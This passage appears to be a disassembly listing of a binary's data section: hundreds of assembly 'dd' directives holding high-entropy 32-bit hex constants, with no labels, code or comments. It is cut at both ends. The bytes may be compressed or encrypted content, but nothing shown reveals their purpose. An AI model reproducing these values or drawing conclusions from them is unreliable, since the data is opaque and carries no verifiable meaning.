765C8F1h dd 0FD7729B4h, 0E1D3E838h, 84A22A43h, 0B698B889h, 0B1B758C2h dd 33705685h, 82A39CA2h, 1662CAE3h, 2D034057h, 0C47C170Bh dd 415DEC6Eh, 0A5772807h, 682B01ABh, 8147825Ch, 0AE50510Ch dd 18932914h, 0E0428DE7h, 122B7C16h, 35817278h, 6CBC2C47h dd 698B4682h, 0A0F1A37h, 0D32508EBh, 0E13C13CFh, 21A62F51h dd 475AC602h, 0EA750CAEh, 0E9080140h, 0B36FFD8Bh, 201F4A3Fh dd 56882F09h, 0B5798946h, 53E4EE5Eh, 0EE89D6ADh, 26B030F4h dd 6B2504C9h, 0D6740C23h, 1D88CAA6h, 245F16CDh, 0A913FA49h dd 12E9DF60h, 2279976Dh, 0C36866C0h, 0FBE92647h, 0B556A51Fh dd 0A550830Ch, 60CA0BF5h, 10564404h, 340B5213h, 5E0B403Bh dd 66C31931h, 0E6B6688Fh, 0EB40CE5Eh, 27089593h, 61F205ECh dd 6CED98D3h, 4085E913h, 196CB930h, 70B74421h, 410BB5DBh dd 0CE1E4878h, 19D3874h, 94DDFC62h, 0D5DC2F90h, 78F44717h dd 1BCA9F05h, 899E7887h, 0FC50E2F4h, 0D8CA885Ch, 3E89541Dh dd 1A29E283h, 0F2740261h, 30ED0252h, 0E545DD84h, 0F60D459Ah dd 0B3BC4A73h, 218EFFF5h, 0FC714914h, 0A0A8B4A7h, 680351E4h dd 6AF53C05h, 0A30E1659h, 0EE141D33h, 0ADCB013Dh, 3A53869Eh dd 139F9C90h, 0C4365A78h, 0E907022Ch, 515E962Dh, 0AEB28E50h dd 0E738203Fh, 87385F64h, 2D24E816h, 9ADED0F6h, 6C9C97B9h dd 2D8DE6BDh, 8C8235E9h, 0A6D2295Ah, 7E7C6812h, 0F7774EDCh dd 0F2FDBC2Ah, 3C76A8Dh, 7C89F8E2h, 8B193055h, 3772CBC3h dd 74294725h, 0E4E3813Ch, 306D3D26h, 3016C99Fh, 47A8250Ah dd 36E93507h, 215E8B23h, 37226A2Ch, 0A2103727h, 0A6807Ch dd 545B4DB8h, 0F7E13B5Fh, 1A78A30h, 4F46C252h, 3EA4B8E9h dd 5F78AAF2h, 0ECF91694h, 0F895E448h, 73EC3C80h, 9458B7A1h dd 757D7C09h, 0A8BD542Eh, 0C5554ABBh, 31EDF1D3h, 0D4B57FF0h dd 9FC7897Fh, 8D973748h, 9E4958EFh, 0DD505923h, 9B411499h dd 125CE5ECh, 22B1F42h, 0F51EC1BBh, 19EB21E0h, 0A40C6116h dd 912B0BB1h, 550298Ah, 97CBE408h, 40A1F5DAh, 0D963198Ch dd 0B4962950h, 0F554F88Ah, 0E57E2DCDh, 7209E3EFh, 5D8374A9h dd 23E005AFh, 512295Ch, 1C305D0Dh, 8FF23C44h, 7A119407h dd 91E91EA0h, 5217E392h, 0E3ED3EB6h, 8318E65Fh, 4AB76BE9h dd 1CA7D19Bh, 0C8F37A4Eh, 0D1F18A9Fh, 14D7CB0Eh, 921145B7h dd 679079FAh, 3D5053F7h, 57A469D0h, 0F1888E2Ah, 90F854E9h dd 5C89B738h, 0F8300B62h, 90426566h, 0E0B62D14h, 78ED8007h dd 5DA5AE7h, 0BB6A0579h, 0C501B7C1h, 2AB13D2Ah, 0C5B1C3F8h dd 7B26B02h, 0E0A0E984h, 302D681Ch, 0E6186463h, 0AC5395E7h dd 857B2202h, 0B82D4020h, 30E6B599h, 0C971AB27h, 0A26E3CEBh dd 0EB68822Eh, 0BFE456Bh, 0A091B10Eh, 5312A5Eh, 7270F766h dd 1A1F3A68h, 21D1C996h, 5DC929Ah, 0E28DCD92h, 58605E35h dd 0F19FD5C3h, 0E079CBF7h, 0F840E941h, 1F102F32h, 82BF04BDh dd 0EE879C88h, 0E83FA96h, 371E7DB8h, 24E20D43h, 85FD229Ah dd 834119A6h, 672CF828h, 0E66CABC9h, 1DB85A4h, 0CAE9E261h dd 99DD2BC0h, 81804C31h, 0A1685751h, 4D4C0D49h, 0FD9424CCh dd 6EB2BA80h, 62312C18h, 0AF49B4D0h, 7588D304h, 654C41A7h dd 0AB1BE0C7h, 4A8EAE97h, 0A0BA6DEh, 935679E4h, 6952A935h dd 623C578Ah, 688484B1h, 2DBE4D9Ah, 8062936Dh, 0A34B6EA7h dd 42E95A62h, 0E223C080h, 4ED0118h, 88680802h, 64CCD510h dd 0D3CA1C83h, 1B04E4F4h, 26C1DB40h, 942F59CBh, 510B01A5h dd 0A498CDE9h, 923B528Eh, 7E4959B7h, 0CF9B777Eh, 505067C1h dd 64AEBB37h, 29B0A27Eh, 0C52D40E8h, 9A27433h, 4396D029h dd 1B1A6815h, 7CAB2781h, 135E65C5h, 40A5D99Ah, 0D43132Ah dd 23F8614Ah, 5E3A884h, 0DFC5A58h, 0A56D8000h, 2CC5681Ch dd 8B20E915h, 0B5B04E87h, 2AB94196h, 2944EB97h, 9A0C2991h dd 31836D32h, 0ABF757D2h, 82AD88D6h, 0AB7209h, 426B79B9h dd 9AF1F6C0h, 0B276BB75h, 7E4906Ch, 0F91EE32Dh, 13E05062h dd 0F995274Ah, 22DD720Eh, 44AB0F79h, 4B502D57h, 0D79EA96Eh dd 0F2205E2Fh, 3429667Dh, 0C5CB921Fh, 5022EA9Ah, 0ED91F8EFh dd 440FDA30h, 2D13C358h dd 0B209C83Fh, 0B7FE7896h, 0A22FECE5h, 5D286854h, 46196C1Ah dd 0F1859F54h, 3BBB0520h, 0C75E6137h, 5A86AE49h, 0AE000C19h dd 872C7553h, 74D5F7EBh, 2ADDE431h, 9FE0D6E9h, 1DE872C8h dd 7E43492Fh, 0A61880EFh, 0CCE98BDBh, 0B800DC92h, 0FB175EBh dd 0F40E3925h, 0B5350049h, 53D9A6Bh, 0E53D43DDh, 5A660E50h dd 0BB0D0052h, 3B0B045Ch, 0C0160A2Dh, 0E927024Eh, 96D75686h dd 7DDE20E9h, 65C301B7h, 0BED5B45h, 0AC006C7Ch, 809EB252h dd 0D0F84BEAh, 7EF97E4Fh, 892E5FD6h, 8256625Ch, 9D24499Ch dd 0C47FA64Fh, 15E091Ah, 9F256C3h, 338A0531h, 0E16A40EAh dd 458C3A8Bh, 7D24129h, 0D883F291h, 21023E84h, 2B215BDFh dd 5268DD7Eh, 2A74522Fh, 0AD477D00h, 1330BF5Eh, 0AB5C6102h dd 50BB7B0Bh, 9CBA02DCh, 891D8662h, 3F48B961h, 69240E1h dd 99CF1B07h, 6E212D98h, 1401905h, 70005F8h, 4564355Fh dd 31531441h, 0AB1062C1h, 0EF881CC8h, 75873C89h, 0BF20E01Ch dd 0E2545A49h, 8510CA69h, 3866BF81h, 6EE928CFh, 804F9752h dd 62D0189h, 0C9CEF91Ch, 0F8205223h, 34FC5E83h, 941F8734h dd 0CADDEF54h, 7BE5D32Ah, 752A8958h, 615B3A79h, 804FC7B8h dd 0F312DEEh, 0DF9D4D3Dh, 8187F9EDh, 0DCE8F1EAh, 15A96112h dd 2DEDF898h, 0F2FA1B5Eh, 2CCC7D0Ah, 778B320h, 30FCC480h dd 0F609A2E1h, 0EC01E008h, 8958CE5Fh, 0DC43DB41h, 760C0479h dd 0FEA8BB30h, 8444C05Fh, 0B20E5268h, 0EEF08029h, 0C3E1EB45h dd 9B8175D6h, 2F2D0868h, 0B0D4E4CCh, 82374B25h, 3EEB5C28h dd 0BFC55226h, 51B9AB47h, 48E208E7h, 0CC7CC11Dh, 0E16E1949h dd 78BF5A2Dh, 8E3C089h, 0B4F27105h, 39D6C617h, 79D2E491h dd 9BA40F04h, 1A171325h, 0B185278Dh, 5894922h, 25BD2C7Ch dd 0C203897Eh, 0BA9475CEh, 76DCE927h, 12C797C0h, 0B597AAA2h dd 0B6AE8524h, 57791878h, 0B8F1F715h, 97596FCEh, 0CC1AEC01h dd 680C826Ch, 0D00D93A9h, 6ED395D9h, 44EE5D92h, 14CA7A07h dd 0D0D31346h, 0CE01E0F2h, 41012E50h, 60408346h, 0E80ACC5Eh dd 3B3ED9CDh, 0F500568Ch, 0FB9AD04Eh, 0E928EE31h, 0BDE2A80Dh dd 0EAC2FE12h, 80F97D13h, 0EB10C190h, 7FBD4F95h, 5E42FC25h dd 24B6E5F5h, 0B5792A43h, 9E6F11D1h, 47EF20A2h, 8803EA94h dd 0E2643878h, 250DDC89h, 68602DD1h, 9509367Fh, 8C5A9972h dd 0A33FCB39h, 0DB68C543h, 0C4027BA1h, 0A38D19Bh, 114DA30Fh dd 809D4EA2h, 0B9A6F4F4h, 0CEFE420Ch, 0C6506057h, 0E7BE787h dd 0C9379522h, 0C1782122h, 0FACD8502h, 0BB566AE9h, 0B7EC401h dd 0E1706108h, 0E7BC129Eh, 0D3F31D31h, 5F494734h, 4705B2C1h dd 0A1E51540h, 4AC54637h, 0E37834DDh, 2130B903h, 4A074B60h dd 79C0723Ah, 7ABDC961h, 18822EC5h, 0DAF68F08h, 6CAB0E55h dd 41AFDAF5h, 53F72A72h, 0E982A546h, 2DDD76E5h, 9A7F2A14h dd 0A68080Ah, 0A9E90536h, 91F8905Bh, 530254Eh, 0B1E3B043h dd 0B8C74C57h, 61F31016h, 4DAF035Bh, 3DB27EF4h, 0C3505E00h dd 0C839E96Eh, 0B78B4791h, 0B5C7E2Ch, 75028806h, 0C7DDEDC4h dd 40842D5Eh, 0B744BBA3h, 0BDAC4903h, 15F8B2C4h, 34F75863h dd 94C71198h, 0FF5FF9B2h, 0BD9E74A5h, 2B166977h, 0B52FDFD4h dd 13B32ECh, 1EEB1ED7h, 26C62518h, 0D320F191h, 7C5C0F0Dh dd 66612E75h, 0CC5F0802h, 0DE1AC1D7h, 826B8B33h, 5D041E0Ch dd 4AEADD16h, 0B8500802h, 0BF291485h, 7EDD952h, 5F2DAE92h dd 9F790F20h, 1892BD5Bh, 0C5FC9527h, 97CA2C80h, 3B2120Ch dd 7EAC02Eh, 88EE30DFh, 3FE75AD7h, 58F8BEF0h, 738142AFh dd 0EC79932Dh, 0F9977C4Bh, 6B54CB17h, 1DC6B42h, 786EF268h dd 1DD7C0A7h, 0F709C1h, 103E0DD8h, 142D5E17h, 6E1B111Fh dd 105D00Bh, 0E9902482h, 213BDCFAh, 4CE9C17Ch, 0D5B82A50h dd 8A9077E6h, 0FF944030h, 3B5169EBh, 0ED0F6AB5h, 59292850h dd 0CFC360DEh, 0C1550293h, 2DCADD5Dh, 0F1E6635Dh, 4BA5CEF5h dd 7D5B5DD8h, 0A2C4D313h, 0A8FCD0FBh, 0F0133DFDh, 0AFFCF921h dd 6391FEB5h, 5802DD19h, 7DA92442h, 3343757Eh, 0B3104B45h dd 4AFE2003h, 8BFC16DAh, 178052C2h, 3CBE4514h, 0EC9F0286h dd 0B2520055h, 46E2805Dh, 0C294F3E9h, 0FEF35F3Eh, 84B6B293h dd 45BE2A68h, 37B0E347h, 76AB8FDAh, 133C1459h, 0C589657Ch dd 0BF4E49E0h, 0A4750A29h, 1CB93902h, 1366F703h, 0CFB053E8h dd 0E43E2A1Ch, 4E71D3Ch, 0FC3F8FCBh, 0E6BD221Ch, 6E7C1784h dd 0E94BA0F8h, 79D07125h, 88F423D5h, 56259B88h, 0B8F2EF97h dd 8BA3B42Bh, 3F4B935Fh, 12812C8h, 88B3544Ah, 0B85A0C40h dd 359A5DCEh, 74455289h, 0EB5DDEAFh, 0ECC2455Ch, 0EB840486h dd 4426BD04h, 7FF18100h, 6E58BE6Bh, 38E1041Fh, 5D802846h dd 0BC31C4Ch, 4AD18718h, 906F8CD7h, 0E9805B6Eh, 70B8D61Dh dd 0CF1908D6h, 78A65F12h, 43EA277Dh, 0F7250E7Ah, 810E71BBh dd 35722A12h, 0A32E229h, 0B410710Ch, 0B23A3B73h, 92263B4Ch dd 2401C46h, 0F975E9E2h, 5F25DBC5h, 0DF0240A5h, 89F24B1Ah dd 0AE439612h, 9629B18Ch, 81CBE997h, 0FB340F9Dh, 1FDB03ABh dd 9B644525h, 9601C957h, 0FC70C7C5h, 48704568h, 205E81DBh dd 29127F51h, 5D012575h, 1F45528Ah, 5865C7F0h, 31247BB5h dd 0F4D827E7h, 1374D020h, 0E87BB868h, 54D2C432h, 0F2505207h dd 1CD55922h, 93E91203h, 0C370E447h, 9905C03Ah, 0EB10FB29h dd 0BFF85713h, 0BFFD0A59h, 0B4A84EF2h, 0EFDB4F85h, 6CE8A175h dd 0B3C713E4h, 10AD9597h, 0A75B8F74h, 0B4E148D7h, 0BC410F9h dd 0BF12D2h, 0CE70485Eh, 20E6812Dh, 770416F2h, 0FA59E94Eh dd 83FFFF9h, 7D300CF3h, 710C7887h, 93A3863Bh, 1841BE9h dd 93EBEDC3h, 0F5C6D2DFh, 0A827EECCh, 27CB5391h, 0E9629471h dd 33F1E8C1h, 0FDC49577h, 15BD1BDh, 0E2C0D0B2h, 0A4C06A07h dd 0B020BBF2h, 2F8BDA9h, 31B51974h, 53253696h, 9A423EF8h dd 0A1F55F8Ah, 4541CCB8h, 1254D7Eh, 0A5656Ah, 5701ABBh dd 0CBFA4367h, 2D09E60Ah, 0A225FD64h, 0D5E0E9D8h, 85980FE6h dd 0FFFFE271h, 0DA91E9FCh, 63388407h, 77FC5C09h, 0C66C6679h dd 0FA41E185h, 73E8CE30h, 0F20564D2h, 5B06E00Ch, 89EB47B5h dd 0EB2017E9h, 0E1C07CB1h, 1F2D057Ah, 68BA7950h, 3F71094h dd 0E35B14BFh, 5EFAD34Bh, 656D8115h, 0D1AF04A4h, 32E225C4h dd 6688229h, 48347D13h, 7831D99Fh, 7082CDC6h, 6002F0C5h dd 0F186104Ah, 8B97D6F6h, 1F96C05Eh, 0C389C0C7h, 0DF6B9C85h dd 93574B3Eh, 31EBA8F6h, 0F962C648h, 0E8BC9969h, 6099DA1Bh dd 88AD71CEh, 4FDF438h, 0A2063568h, 0D4F73594h, 0B6B11FFCh dd 69E26ECDh, 9BDE0E86h, 1479EF1Eh, 9C4F2C4Fh, 1320EA9Fh dd 8535730h, 0B91F7A52h, 78283F87h, 468D62A2h, 54533D31h dd 3829B10h, 15DEE29h, 18727DDEh, 687C8E2Dh, 7E2EBDD4h dd 6DA8686Eh, 8C30C40Ch, 13C20C3Eh, 0A97B5D13h, 7E5E8641h dd 0ADEB5EA9h, 915F2DE6h, 0A72A5B93h, 6FC44E39h, 7FD982AFh dd 30089E61h, 6307282Bh, 0EE814FDBh, 1521016Bh, 6A54E9h dd 0E4BF5A18h, 0E0B6149h, 7759CF31h, 59BD3914h, 0CC4D2h dd 68D5F795h, 0C1B9546h, 7E73C7C1h, 9FA3E926h, 0E9164E70h dd 1C20D291h, 2502EDEAh, 95A6A4Ch, 9EFF0883h, 3EE304F2h dd 0C6E2BA46h, 1008B25Ah, 0B80F4019h, 278F0E3Eh, 0E76E4644h dd 53582F93h, 714C8BFEh dd 0AA573C30h, 1E61BE80h, 9238847Ah, 2F2CF12Bh, 0C83F65CAh dd 60C10DB9h, 684F170Fh, 0ED288BE3h, 88EAB616h, 3E2C78CFh dd 100DC501h, 0B202567h, 0F75607C6h, 2B4696D8h, 89BD99F5h dd 0FB43D96Ch, 38CC3D5Bh, 0CAC1D774h, 500C1EBh, 0BF0F067Bh dd 9CC70108h, 3E415ABCh, 38BB0A65h, 8A621F3Fh, 8BCCFB88h dd 2975EF68h, 0CB70D16Ch, 0D6C2DD76h, 926F80E1h, 0BF27487Fh dd 5871DCDAh, 610B3551h, 0E90C0001h, 38D33F39h, 932567CBh dd 0AFEDCA68h, 0FBE1433Fh, 53A8122Fh, 1AAC4D1Ah, 7AA14A55h dd 4182D92Bh, 4DD918E2h, 56C26AE0h, 58844431h, 206B3BE9h dd 0CB4F8279h, 0EDD952D9h, 0DA5048DDh, 32088CBEh, 6F8C0B19h dd 0D00C943h, 73853BB6h, 979137E9h, 409D8BA2h, 0CBCF3571h dd 53EF810h, 0E8F04D35h, 6802B018h, 4678DB25h, 4CD10170h dd 8E93366h, 2E8C7E67h, 36912D68h, 57C514D6h, 0FAD974D8h dd 0DA79A3CDh, 513554D3h, 3E5FF4C2h, 49A2E3C1h, 58707D25h dd 0C96713BDh, 5F33015Ch, 6B3DD80Fh, 0CCC151D0h, 0BFEA309Fh dd 3B25BA0Ch, 210A0F4Fh, 31E08E9h, 0EF6FE867h, 1B4CBD58h dd 0A1086590h, 1A044764h, 225D0D9Dh, 51E46C36h, 0D5DD0E07h dd 818509ABh, 2EEEC54h, 0D907E6BBh, 839EC07Bh, 2077F7EBh dd 0ADEC2716h, 19F4D693h, 9F6C7868h, 0E9C1EBE5h, 5588FE94h dd 0B0283DC8h, 25695620h, 0D5FA5D5Bh, 0C0629A05h, 9CBE5822h dd 90B74B3Ch, 82A7E559h, 0FA2FEE5Fh, 476D5A75h, 9206EFC5h dd 15D7A123h, 437E259Ah, 0D310921Ch, 0AE31AA4Bh, 0F16077B1h dd 42EDBC49h, 7560A105h, 0C64B89CCh, 0A1520BCCh, 0BD2A84E3h dd 4CC99E32h, 60AC1AAFh, 207F7E8Ch, 0F6010356h, 0E92D6655h dd 14549ED3h, 17CE9B08h, 632CFAADh, 7D7E023Ah, 6F8FE97Fh dd 0D6FA93C4h, 0C1F9222Ch, 6EB75B13h, 46D2680Bh, 48616FDh dd 0B457DD05h, 4179E850h, 1FA26A07h, 829974CDh, 0A71676BEh dd 2D407D02h, 6818524Bh, 942B7F2Ah, 50AC8161h, 0D0287DB5h dd 549235F8h, 9F059CBDh, 0E916B370h, 2E218245h, 97625AD7h dd 0FC86097Fh, 0BA8497BBh, 4864EF44h, 556B808h, 0F01A850Fh dd 29B1688Dh, 0F5DF1389h, 0E4C9C29Bh, 74A9AD47h, 0CE840B7Dh dd 5695D3D9h, 0E6B41FCDh, 0C87067CBh, 2D2E180Fh, 295E17DAh dd 2875C187h, 0F1602987h, 5B3CFA5Ah, 0A5421611h, 0EB01402Ah dd 3E13786Fh, 3FA0E3E9h, 506500B3h, 0EC80A3B4h, 30FB28E2h dd 0C3F0F300h, 0A25AC128h, 0D9B05009h, 5B277688h, 0F621B6F8h dd 0C680D60Eh, 4CCE6757h, 28FC216Fh, 54CE5AF3h, 1E392408h dd 0BEE57525h, 25A39308h, 6408BBDCh, 556807E7h, 0C7550905h dd 0AE0C3413h, 6882FBB6h, 18663BA8h, 0A32F64B0h, 0E5F1A2E8h dd 0C25907A5h, 465F795Ah, 4611E761h, 5F6F22C5h, 5A0D81FCh dd 6E7903C7h, 40F469C8h, 469551EFh, 5024B4D9h, 9694F021h dd 83A65F52h, 0D89FFD66h, 135DB1DDh, 0A2B8782h, 0F4605501h dd 1D05E91Ch, 3CE885CAh, 0B7106331h, 0BE2101B0h, 0B9340888h dd 0CC6A608h, 0E3283FF6h, 624E4D40h, 0B43E1021h, 35CE002h dd 8105761h, 30194917h, 8CD2694Ah, 18534008h, 0A9BC40E1h dd 97102362h, 5CC107CFh, 41639A08h, 186A8418h, 18DA7008h dd 0D08061CFh, 0DF10C688h, 0DE6308D6h, 187311A1h, 1890E708h dd 8C65054h, 31187F15h, 0ED088CB8h, 84F60764h, 0B7583620h dd 7BF48161h, 0C31B1C8h, 94085AA9h, 402C7640h, 9363673Eh dd 107E6A28h, 18B14D08h, 7D2082EFh, 0A008C434h, 0A8D40628h dd 0A45C5420h, 0FC164065h, 4FCD6041h, 9915FB03h, 31988EB4h dd 54D80894h, 818D188Ch, 8CEB2B08h, 87B1D18h, 18EE63D1h dd 82ABA44h, 4962A4EDh, 337B9B9h, 8102657h, 831898C0h dd 6D2930C7h, 0C6914080h, 864BE10h, 0FC593762h, 46D00570h dd 868D3E0h, 6B499E62h, 0D42D03FBh, 0E657083Ah, 20F98018h dd 0A2328D12h, 34B11EBh, 28313C77h, 0FF89D9F3h, 0B0A008B9h dd 0B4F85954h, 89288CE9h, 6558085Bh, 460B18B5h, 10AD2AECh dd 8C5D771h, 0E04D87B3h, 62FD1067h, 8C0C8D01h, 18F55E08h dd 0B5C9C68Ch, 455408C3h, 5D407AC4h, 8EA637Bh, 0F144C656h dd 0F4A8A6BCh, 18CC8EA2h, 622DA123h, 2974109Ch, 2BB9002h dd 0DCA69DF4h, 802008FEh, 0CDBF2048h, 20EF9F20h, 472097B6h dd 1BA0246Ah, 8339920h, 0B8B988B5h, 0AF9D08C8h, 8A4F20Ch dd 68B94098h, 0B3305F64h, 0B107BC91h, 9CA2D202h, 0A0A44EAEh dd 9650443h, 10725C93h, 24847A18h, 3BACA8D2h, 4D40042Ah dd 0AF9C66Dh, 167F08D1h, 816BFA80h, 0D2198CA3h, 92C34854h dd 0FADA31D4h, 88E23C18h, 8694C08h, 630C84B7h, 406E285Dh dd 85404F95h, 0E4F640EBh, 48238240h, 6199C07Eh, 8ACB018Eh dd 1A1B901h, 5601BF93h, 2A299055h, 8CF04624h, 320B2F3h dd 0EB3D3040h, 24A08101h, 0FC759CCCh, 6826A499h, 453EEF06h dd 0C18B4B1Eh, 8042561Ah, 2C473B10h, 31EB0275h, 0B90E8913h dd 3DBDA7h, 8F440105h, 0B0B4940h, 8BF775C9h, 23D830Eh dd 0B9F003DEh, 333C3DE4h, 0B10F06C0h, 0B22C304Fh, 0AF62BD38h dd 580827C0h, 7D00805Eh, 164E14B4h, 50D116F7h, 9653F8B8h dd 906F5000h, 0D0C1014Bh, 5826082Ch, 0F83809D7h, 4ADA98D7h dd 0FCD1B2FAh, 12725B0h, 7D697859h, 4735106Eh, 1EBB20EFh dd 8C540CA8h, 0D0B88810h, 4EBC007h, 0CAD35166h, 0B4565A46h dd 0B625683Dh, 0B3CA903Eh, 3BE9197Dh, 3FF01576h, 0BA002064h dd 631D6C5Dh, 0EFC2A129h, 0FEE90840h, 0BF38C0B3h, 62C64CFAh dd 98204397h, 76CB35FDh, 5ACF0E2Ah, 0E0521C20h, 0D803DFC3h dd 0F0E99767h, 513E28F6h, 5BA506A3h, 0D7480312h, 8D2D4007h dd 0B93070DEh, 3F0293C6h, 0B0DC29D7h, 63C181B4h, 5BEA923Fh dd 0B67A1DE1h, 62A996C0h, 682FF7B6h, 0A060C6E0h, 272826F2h dd 2DF8595Bh, 20E7E1E6h, 0D96BB375h, 8824E52Ah, 0C748B850h dd 4AC008h, 52AEE181h, 560F1314h, 8F74C9BEh, 65C68009h dd 2E6AF0FCh, 0CF9F131h, 89342440h, 8D37C577h, 1ED14313h dd 22E9A28h, 3AFB5F61h, 9DBE8D60h, 26D8CAA8h, 0F020082Dh dd 0EBC112ABh, 64660706h, 15DE144h, 0A7FD65CBh, 0FEAD430h dd 36004A9Fh, 10D6EA81h, 0C4EF030h, 5F8039C5h, 1D8F85E7h dd 0BE462541h, 41212B13h, 107EE902h, 0C9EEF501h, 0F32F009Eh dd 8BE986BBh, 0F3054999h, 925C0C5Ah, 1273A2BCh, 0F01AE9C2h dd 0D777282Ch, 0EA6A935h, 810E34F3h, 0CD002FC2h, 0E6BD554Fh dd 0F7478ECBh, 0EB535505h, 9BF1D88h, 0D247937h, 23B96B07h dd 0EDB06D43h, 0EE0C5547h, 94FD293Fh, 596680A0h, 20B8204Eh dd 526368B0h, 6134FBB5h, 7DB1C5E9h, 0ACD090Fh, 6CF30E86h dd 0ECB916E0h, 0B5735027h, 222525C1h, 0F1006CD6h, 764065AFh dd 0A5BF0457h, 0BDC2AB2Fh, 0CDD84198h, 0C5810030h, 0DC3307BCh dd 0D3525E06h, 1A1D8B37h, 0D6CDEAD1h, 0C06F0E07h, 69906837h dd 0C060C69Eh, 0CA743D7Bh, 7D93888h, 0B23298BEh, 0C451892Eh dd 4225269h, 319D7959h, 36F3AF29h, 0A2580C40h, 7C1C5DFBh dd 6CD2957Dh, 4F752BFBh, 7DB78140h, 0EA53542Ch, 0B2520061h dd 0FED2F6CBh, 0E23980C2h, 345FF502h, 0A3927BA8h, 0AE2C04D8h dd 8E81B353h, 0B05DCD1h, 6662B261h, 4BDE5A8h, 0C1EC2807h dd 84169E88h, 0AA04AC1Ch, 77B5A5C0h, 69A12568h, 7B8653F1h dd 0EC205352h, 0CF883B48h dd 0D3455925h, 0CBF9BF3Eh, 148AB981h, 64D8B825h, 0D016229h dd 6FFA5FECh, 64F1304h, 628521D3h, 0A3A9611Ch, 532DBE83h dd 0D687B172h, 3CA0A32Bh, 0C4E90C31h, 5FB20EA8h, 74B2A96Dh dd 6304F03Ch, 4B8895FAh, 73C3A020h, 7D9C094Dh, 1BB8F134h dd 0A4196DB8h, 882C1059h, 0F57D86h, 0EF1483B8h, 22F64865h dd 4940196Eh, 0DDFF1C8h, 0D4164CB3h, 1F934567h, 1750F700h dd 8C4C2922h, 21E90C81h, 583C93EFh, 0F51CCEB8h, 0ED4F3866h dd 0C556B2E4h, 912E8C93h, 550CEA29h, 0C3EE521h, 1F491690h dd 0E9E9E064h, 701E3634h, 0E50044C4h, 6DF180FDh, 0CF03FCC0h dd 89BD0706h, 0A92460ABh, 0AF6FD4D7h, 12D2B9B2h, 0C425E349h dd 58E0ACE9h, 283E05B2h, 0EB148BD5h, 8003412Fh, 0E528B8EDh dd 6AEC5ABh, 79E93E05h, 2CCC0141h, 1864149h, 9F43F0E2h dd 151C541Ch, 0D4050C71h, 93EC9C0h, 4BB2685Fh, 4D89DED9h dd 8C567C13h, 0C38F18FBh, 5923D80Bh, 7E140021h, 0A003E509h dd 917A0F8Ch, 34588813h, 1E725E13h, 0C7B18FEAh, 0B064E92Bh dd 3C72D8FAh, 0B647BE3h, 9396F6AAh, 5EB82860h, 76C2000Ah dd 2427725h, 74000D7Eh, 48711930h, 73512235h, 3E63BF8Ah dd 852D7BC0h, 0B000337Dh, 2578BC3Eh, 0A761147h, 68D8E962h dd 0C2F20360h, 89F98850h, 0D2F062D1h, 550A98FFh, 75EB75BEh dd 2F20BF1Ch, 6851079Ah, 49E31A2Eh, 4D9B0E82h, 7CBBD080h dd 8D054519h, 315BDE29h, 0A26FCCC9h, 9FFBD2DFh, 5FC21C00h dd 32BF8D21h, 24A62168h, 0F62D06A2h, 5AF7F0DAh, 8ADFE4C6h dd 3E55320Fh, 1B066458h, 0C7E0F495h, 0E2BD5687h, 0D4C5CC64h dd 0DF08FE6Eh, 2C11283Fh, 6BDCD534h, 0BB42CA70h, 2CFA4610h dd 570B601h, 6F0C1646h, 4101E819h, 0BABB5807h, 9F4D860Bh dd 7B900432h, 48A3BE0Eh, 45D20592h, 0C0067D7Ch, 75EA03EAh dd 50440980h, 0ED57FB0h, 40A829D0h, 0D73A779Ah, 349CADDBh dd 8982D9C7h, 0C3C0E806h, 524317A9h, 3F5E0102h, 70332342h dd 60822DD8h, 0B0FED93Ah, 0C0D32E56h, 0B6052DBFh, 806BE461h dd 0B43EF324h, 816CEE08h, 0BD6D76EDh, 0BEC93013h, 904E446Bh dd 3D72C0C7h, 0CFA02A84h, 0C020883h, 7F7C55ECh, 289A5759h dd 0BA1165Fh, 76917738h, 0F6D49082h, 0D6F3656h, 0A22B106Dh dd 2168825Ch, 685A725h, 753A9AE9h, 0DD49B271h, 0C7A30DB8h dd 94DD0AD1h, 3F4126FDh, 2202FB6Ah, 8109F154h, 0C92933ACh dd 0C0C4802Bh, 23305C06h, 0B61D0E43h, 0FDA75BF6h, 5ABF02B0h dd 7550925Dh, 900113D2h, 684E7E4Bh, 72364735h, 916A2312h dd 2FF12BCBh, 757970F2h, 7F582EB9h, 76AF09D8h, 55C19Ah dd 645EF28Ch, 152D00EFh, 2942E231h, 7A105C8h, 67F5D859h dd 816862Fh, 53E07DAh, 0A654383h, 7814B8h, 71204B9Eh, 26373081h dd 969D51F2h, 0FC582027h, 0D1D5F726h, 0B90F1810h, 1C4B070Dh dd 17079F89h, 49F0EBD1h, 3B08C351h, 49DD5EB4h, 0E5015E3Eh dd 5511525Ch, 2A77DAC1h, 66033EEDh, 3C316972h, 0F58A0318h dd 0EBBF6EFh, 0A925E929h, 0FD11D22Eh, 0A0C5B280h, 7E0B2AC9h dd 0E664B368h, 7EB0961h, 5B00140Dh, 0CB211B0h, 80EF2920h dd 1505D08h, 0C24AB3B8h, 6248E97Ah, 52F303DAh, 673022Fh dd 0D46F50DCh, 8809D825h, 89E8CF43h, 0FCDDB18h, 0FB7628FEh dd 3FB28B61h, 0F841100Ch, 922DA8F3h, 0F1EAA036h, 242314E7h dd 0B404F06Eh, 0AEEF4ADAh, 5FCFDEE0h, 0CBBBB861h, 8867CF3h dd 0BA01C685h, 7409683Dh, 26717EE9h, 0C4818C28h, 0F438FC15h dd 2B9AE5CCh, 6120A790h, 885B5E22h, 2B7AD93Eh, 95CA389Dh dd 1670831Fh, 76807019h, 0BC75F996h, 316D5840h, 0CA7C6E66h dd 9A033F67h, 0C83212F8h, 512F5AC5h, 0DB8E7C52h, 3240D232h dd 4E25E466h, 87E88278h, 8480EE03h, 28A1F2ABh, 0AB201E10h dd 840F0B2Ch, 0A95CC14Ah, 306CC64Fh, 4ECF07DBh, 6076EE7Ch dd 0F44F85F7h, 1E115448h, 6453E56Dh, 7FCE43A1h, 0C5FC5AA0h dd 0AAC17FD5h, 71592C1Dh, 0AA5C280h, 5CE9155Eh, 7D25619Ch dd 58970094h, 8EEEB5D7h, 6374D695h, 9E4A0BCEh, 282AEE3h dd 0A0C81CE9h, 280E16B3h, 835B66DCh, 0CFC480FCh, 1CE4856Eh dd 0F65043FBh, 0E18031B1h, 0CC7C0858h, 0C22A5963h, 0FD6E2D52h dd 7AC70219h, 0FD29A60Bh, 7C42516h, 12AA3DE9h, 902BEA7Dh dd 80A2BC5Bh, 151744B9h, 7851971Eh, 75164C26h, 655F3D0Fh dd 3BECECE8h, 96D868C9h, 936CC397h, 7CC6A2F1h, 9F094B93h dd 9D0D4455h, 0D4FD57C4h, 32B10126h, 0EB1EEC28h, 2DC0025Ch dd 22304660h, 40C0E0Dh, 47BE1975h, 